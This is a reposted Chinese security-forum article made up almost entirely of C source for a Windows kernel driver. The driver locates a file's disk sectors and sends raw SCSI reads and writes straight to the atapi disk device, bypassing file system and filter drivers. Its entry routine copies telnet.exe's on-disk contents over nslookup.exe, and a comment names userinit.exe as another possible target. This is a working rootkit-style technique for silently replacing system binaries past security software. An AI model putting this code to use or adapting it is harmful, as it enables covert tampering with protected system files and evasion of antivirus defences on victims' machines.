转载自:http://www.smatrix.org/bbs/read.php?tid=4920
文章作者:Eros412
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
#include<ntddk.h>
#include<srb.h>
#define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
#define PARTITION_TYPE_NTFS 0x07
#define PARTITION_TYPE_FAT32 0x0B
#define PARTITION_TYPE_FAT32_LBA 0x0C
extern POBJECT_TYPE* IoDriverObjectType;
LARGE_INTEGER realdiskpos;
ULONG sectorspercluster;
typedef struct RETRIEVAL_POINTERS_BUFFER {
ULONG ExtentCount;
LARGE_INTEGER StartingVcn;
struct {
LARGE_INTEGER NextVcn;
LARGE_INTEGER Lcn;
} Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
typedef struct {
LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;
typedef struct _SENSE_DATA {
unsigned char Valid;
unsigned char SegmentNumber;
unsigned char FileMark;
unsigned char Information[4];
unsigned char AdditionalSenseLength;
unsigned char CommandSpecificInformation[4];
unsigned char AdditionalSenseCode;
unsigned char AdditionalSenseCodeQualifier;
unsigned char FieldReplaceableUnitCode;
unsigned char SenseKeySpecific[3];
} SENSE_DATA, *PSENSE_DATA;
#pragma pack(1)
typedef struct _PARTITION_ENTRY
{
UCHAR active;
UCHAR StartHead;
UCHAR StartSector;
UCHAR StartCylinder;
UCHAR PartitionType;
UCHAR EndHead;
UCHAR EndSector;
UCHAR EndCylinder;
ULONG StartLBA;
ULONG TotalSector;
} PARTITION_ENTRY, *PPARTITION_ENTRY;
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;
typedef struct _BBR_SECTOR
{
USHORT JmpCode;
UCHAR NopCode;
UCHAR OEMName[8];
USHORT BytesPerSector;
UCHAR SectorsPerCluster;
USHORT ReservedSectors;
UCHAR NumberOfFATs;
USHORT RootEntries;
USHORT NumberOfSectors16;
UCHAR MediaDescriptor;
USHORT SectorsPerFAT16;
USHORT SectorsPerTrack;
USHORT HeadsPerCylinder;
ULONG HiddenSectors;
ULONG NumberOfSectors32;
ULONG SectorsPerFAT32;
} BBR_SECTOR, *PBBR_SECTOR;
#pragma pack()
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[255];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSTATUS
IrpCompletionRoutine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
PMDL mdl;
Irp->UserIosb->Status=Irp->IoStatus.Status;
Irp->UserIosb->Information=Irp->IoStatus.Information;
if(! Context)
{
mdl=Irp->MdlAddress;
if(mdl){
DbgPrint("read size: %d..", Irp->IoStatus.Information);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
}
}
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
NTSTATUS IrpCompletionRoutine_0(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
PMDL mdl;
Irp->UserIosb->Status=Irp->IoStatus.Status;
Irp->UserIosb->Information=Irp->IoStatus.Information;
if (! Context )
{
mdl=Irp->MdlAddress;
if ( mdl )
{
DbgPrint("read size: %d..", Irp->IoStatus.Information);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
}
}
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
ULONG GetModuleBase(char* name){
ULONG n,i ;
PSYSTEM_MODULE_INFORMATION module;
PVOID pbuftmp;
char modulename[255];
ZwQuerySystemInformation(11, &n, 0, &n);
pbuftmp = ExAllocatePool(NonPagedPool, n);
ZwQuerySystemInformation(11, pbuftmp, n, NULL);
module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n = *((PULONG)pbuftmp );
for ( i = 0; i < n; i++ )
{
strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
if(!_strnicmp(modulename,name,strlen(name))){
ExFreePool(pbuftmp);
return (ULONG)module[i].Base;
}
}
ExFreePool(pbuftmp);
return 0;
}
NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
{
PIO_STACK_LOCATION stack;
--Irp->CurrentLocation;
stack = IoGetNextIrpStackLocation( Irp );
Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
stack->DeviceObject=DeviceObject;
return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
}
ULONG AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
{
NTSTATUS status;
PSCSI_REQUEST_BLOCK srb;
PSENSE_DATA sense;
KEVENT Event;
PIRP irp;
PMDL mdl;
IO_STATUS_BLOCK isb;
PIO_STACK_LOCATION isl;
PVOID psense;
int count=8;
while(1){
srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
if(!srb)
{
break;
}
sense=ExAllocatePool(0,sizeof(SENSE_DATA));
psense=sense;
if(!sense)
{
break;
}
memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
memset(sense,0,sizeof(SENSE_DATA));
srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》
srb->Function=0;
srb->DataBuffer=buffer;
srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srb->SrbStatus=0;
srb->ScsiStatus=0;
srb->NextSrb=0;
srb->SenseInfoBuffer=sense;
srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
if(MajorFunction==IRP_MJ_READ)
srb->SrbFlags=SRB_FLAGS_DATA_IN;
else
srb->SrbFlags=SRB_FLAGS_DATA_OUT;
if(MajorFunction==IRP_MJ_READ)
srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;
srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
srb->QueueSortKey=DiskPos;
srb->CdbLength=10;
srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF; //
srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF; //
srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF; //
srb->Cdb[5]=(UCHAR)DiskPos; //填写sector位置
srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
srb->Cdb[8]=(UCHAR)BlockCount;
//By:Eros412
KeInitializeEvent(&Event, 0, 0);
irp=IoAllocateIrp(dev_object->StackSize,0);
mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
irp->MdlAddress=mdl;
if(!mdl){
ExFreePool(srb);
ExFreePool(psense);
IoFreeIrp(irp);
return STATUS_INSUFFICIENT_RESOURCES;
}
MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
srb->OriginalRequest=irp;
irp->UserIosb=&isb;
irp->UserEvent=&Event;
irp->IoStatus.Status=0;
irp->IoStatus.Information=0;
irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
irp->AssociatedIrp.SystemBuffer=0;
irp->Cancel=0;
irp->RequestorMode=0;
irp->CancelRoutine=0;
irp->Tail.Overlay.Thread=PsGetCurrentThread();
isl=IoGetNextIrpStackLocation(irp);
isl->DeviceObject=dev_object;
isl->MajorFunction=IRP_MJ_SCSI;
isl->Parameters.Scsi.Srb=srb;
isl->CompletionRoutine=IrpCompletionRoutine_0;
isl->Context=srb;
isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
status=MyIoCallDriver(dev_object,irp);
KeWaitForSingleObject(&Event, 0, 0, 0, 0);
if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
ExFreePool(srb->SenseInfoBuffer);
ExFreePool(srb);
ExFreePool(psense);
if ( status >= 0 || !count )
return status;
DbgPrint("Send XXX Failed..%08x/r/n", status);
KeStallExecutionProcessor(1u);
--count;
}
return STATUS_INSUFFICIENT_RESOURCES;
}
PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
{
PDEVICE_OBJECT result;
PDEVICE_OBJECT finddev;
finddev=drv_object->DeviceObject;
result=NULL;
while (finddev)
{
if (finddev->DeviceType==FILE_DEVICE_DISK)
result = finddev;
finddev=finddev->NextDevice;
}
return result;
}
PDEVICE_OBJECT GetAtaDr0DevObject()
{
UNICODE_STRING diskstr;
PDRIVER_OBJECT diskdrv;
PDEVICE_OBJECT dr0dev;
RtlInitUnicodeString(&diskstr, L"//Driver//Disk");
if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
return NULL;
dr0dev=GetLastDiskDeviceObject(diskdrv);
if(dr0dev)
DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);
ObfDereferenceObject(diskdrv);
return dr0dev;
}
PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object)
{
PDEVICE_OBJECT result=NULL;
PVPB vpb;
vpb=Object->Vpb;
result=vpb->DeviceObject;
if(!vpb||!result)
{
if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
result=Object->DeviceObject;
}
return result;
}
PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
{
PVOID buffer;
ULONG type,startlba;
int i;
PLARGE_INTEGER result;
PDEVICE_OBJECT dev;
PMBR_SECTOR mbrsec;
PPARTITION_ENTRY partition0;
PBBR_SECTOR bootsec;
result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
dev=GetAtaDr0DevObject();
if(dev)
{
buffer=ExAllocatePool(0,512);
memset(buffer,0,512);
if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
DbgPrint("AtapiReadWriteDisk ok");
mbrsec=(PMBR_SECTOR)buffer;
partition0=&mbrsec->Partition[0];
startlba=partition0[0].StartLBA;
type=partition0[0].PartitionType;
DbgPrint("dwPartOnePos:0x%08x..1", startlba);
result->QuadPart=startlba;
memset(buffer,0,512);
if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
bootsec=(PBBR_SECTOR)buffer;
DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
sectorspercluster=bootsec->SectorsPerCluster;
}
result->QuadPart+=bootsec->ReservedSectors;
DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);
if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);
}
else
result->QuadPart=0;
return result;
}
NTSTATUS
OpenFile(PHANDLE FileHandle,PWCHAR filename)
{
NTSTATUS status;
ULONG v3;
int v5;
UNICODE_STRING DestinationString;
OBJECT_ATTRIBUTES ObjectAttributes;
struct _IO_STATUS_BLOCK IoStatusBlock;
RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
if ( status != STATUS_SUCCESS)
DbgPrint("Open File failed...%08x..", status );
return status;
}
PLARGE_INTEGER getfilesize(PWCHAR filename){
PLARGE_INTEGER filesize;
HANDLE hfile;
IO_STATUS_BLOCK IoStatusBlock;
filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
OpenFile(&hfile,filename);
ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
return filesize;
}
NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos
PLARGE_INTEGER diskpos;
NTSTATUS status,newstatus;
HANDLE filehandle;
PVOID testingpool;
IO_STATUS_BLOCK iosb;
LARGE_INTEGER ByteOffset;
PFILE_OBJECT Object;
PDEVICE_OBJECT dev;
PIRP irp;
KEVENT Event;
IO_STATUS_BLOCK iosb2;
PIO_STACK_LOCATION nextio;
STARTING_VCN_INPUT_BUFFER StartVcn;
unsigned char abBuffer[1024];
PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
realdiskpos.QuadPart=0;
StartVcn.StartingVcn.QuadPart=0;
memset(abBuffer, 0, 1024);
pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;
if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
return 1;
testingpool=ExAllocatePool(0,512);
ByteOffset.QuadPart=0;
if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
DbgPrint("ZwReadFile error");
goto end;
}
if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
DbgPrint("ObReferenceObjectByHandle error");
goto end;
}
dev=GetFileObjectDevice(Object);
if(!dev){
DbgPrint("Get Device Object error");
goto end2;
}
DbgPrint("pDevObj is: %08x...",dev);
irp=IoAllocateIrp( dev->StackSize, 0);
if(irp==NULL)
goto end2;
KeInitializeEvent(&Event, SynchronizationEvent, 0);
irp->AssociatedIrp.SystemBuffer=&StartVcn;
irp->UserBuffer=pVcnPairs;
irp->UserEvent=&Event;
irp->MdlAddress=0;
irp->UserIosb=&iosb2;
irp->RequestorMode=KernelMode;
irp->Tail.Overlay.Thread=PsGetCurrentThread();
irp->Tail.Overlay.OriginalFileObject=Object;
irp->Flags = 0;
nextio = IoGetNextIrpStackLocation(irp);
nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
nextio->DeviceObject=dev;
nextio->FileObject=Object;
nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;
nextio->Parameters.FileSystemControl.OutputBufferLength=1024;
nextio->CompletionRoutine=IrpCompletionRoutine;
nextio->Context=0;
nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
MyIoCallDriver(dev,irp);
KeWaitForSingleObject(&Event, 0,0,0, NULL);
newstatus = iosb2.Status;
if(newstatus<0){
DbgPrint("MyIofCallDriver failed:%08x...",newstatus);
goto end2;
}
DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
diskpos=GetPosAndCluster();
realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;
if(diskpos){
DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
}
return 0;
end2:
if(irp!=NULL)
IoFreeIrp(irp);
ObDereferenceObject(Object);
end:
ZwClose(filehandle);
if(testingpool)
ExFreePool(testingpool);
return 1;
}
VOID DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
KdPrint(("DriverUnload Run!\n"));
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
PLARGE_INTEGER filesize;
PDEVICE_OBJECT dev;
PVOID buf;
ULONG psector;
DriverObject->DriverUnload =DriverUnload;
InitSectors(L"//??//c://telnet.exe");
/*找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时FSD从cache里把内容拷贝过来,所以需要重启)*/
filesize=getfilesize(L"//??//c://telnet.exe");
buf=ExAllocatePool(0,filesize->LowPart);
memset(buf,0x00,filesize->LowPart);
dev=GetAtaDr0DevObject();
psector=realdiskpos.LowPart;
if(dev!=NULL&&psector!=0&&buf!=NULL){
AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);
InitSectors(L"//??//c://nslookup.exe");
filesize=getfilesize(L"//??//c://nslookup.exe");
psector=realdiskpos.LowPart;
AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);
}
return STATUS_SUCCESS;
}